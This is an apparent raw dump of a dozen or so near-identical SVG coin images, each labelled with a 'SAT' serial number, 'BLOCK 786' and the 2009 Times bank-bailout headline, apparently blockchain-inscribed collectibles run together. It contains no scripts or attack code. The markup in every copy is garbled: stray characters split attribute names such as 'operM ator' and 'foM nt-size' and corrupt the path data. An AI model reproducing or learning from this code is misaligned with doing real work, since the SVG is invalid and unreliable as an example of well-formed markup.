3930503079168</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503079168 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077931</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077931 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503080631</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503080631 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077531</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077531 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503076931</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503076931 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077631</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077631 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078431</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503078431 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077731</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077731 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077231</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077231 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503077831</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503077831 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503076834</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503076834 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! <?xml version="1.0" encoding="UTF-8"?><svg viewBox="-5 -5 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>SAT 3930503078331</title><desc>collectibles.nullish.org</desc><style>.t { font-family: Courier New; font-size: 2px; } .a {font-family: Courier New; font-size: 5px; font-weight: 400; }</style> <defs> <filter id="a"> <feFlood flood-color="black"/> <feComposite in2="SourceGraphic" operator="out"/> <feGaussianBlur stdDeviation="1"/> <feComposite in2="SourceGraphic" operM ator="atop"/> </filter> <linearGradient id="e" x2="0" y2="122"> <stop stop-color="#db9300" offset="0"/> <stop stop-color="#a26d00" offset=".4"/> </linearGradient> </defs> <circle cx="55" cy="55" r="52" fill="#fecb00" filter="url(#a)"/> <circle cx="55" cy="55" r="43.5" fill="url(#e)"/> <circle cx="55" cy="55" r="43" fill="#db9300" filter="url(#a)"/> <path id="g" d="m7 55a48 48 0 1 0 96 0 48 48 0 1 0-96 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath startOffset="25%" font-family="Courier New" foM nt-size="2.5px" font-weight="400" xlink:href="#g" xml:space="preserve">The Times 03/Jan/2009 Chancellor on brink of second bailout for banks</textPath></text> <path id="f" d="m9 50a46 46.5 0 0 1 91.5 0" fill="none"/> <text fill="#946300" text-anchor="middle"><textPath class="a" startOffset="50%" xlink:href="#f" xml:space="preserve">BLOCK 786 SAT 3930503078331 JANUARY 2009</textPath></text> <g transform="scale(0.05)translate(800,600)" fill="#db9300" filter="drop-shadow(0px 15px 0px rgb(0 0 0 / 0.4))"> <path d="MM 642.5 635c0 50.6-16.8 97.4-44.9 135-12.9 17-28 32.2-45.1 45.1-26.2 19.6-56.8 33.7-90 40.4-14.5 3-29.6 4.5-45 4.5v90h-90v-90h-45v90h-90v-90h-135v-90h360c15.8 0 30.9-2.7 45-7.7 52.4-18.5 90-68.5 90-127.3s-37.6-108.8-90-127.3c-14.1-5-29.2-7.7-45-7.7h-315V230h-45v-90h135V50h90v90h45V50h90v95.7c15.9 4.1 31 10.4 45 18.5 27.3 15.8 50.1 38.6 65.9 65.9 15.4 26.5 24.1 57.2 24.1 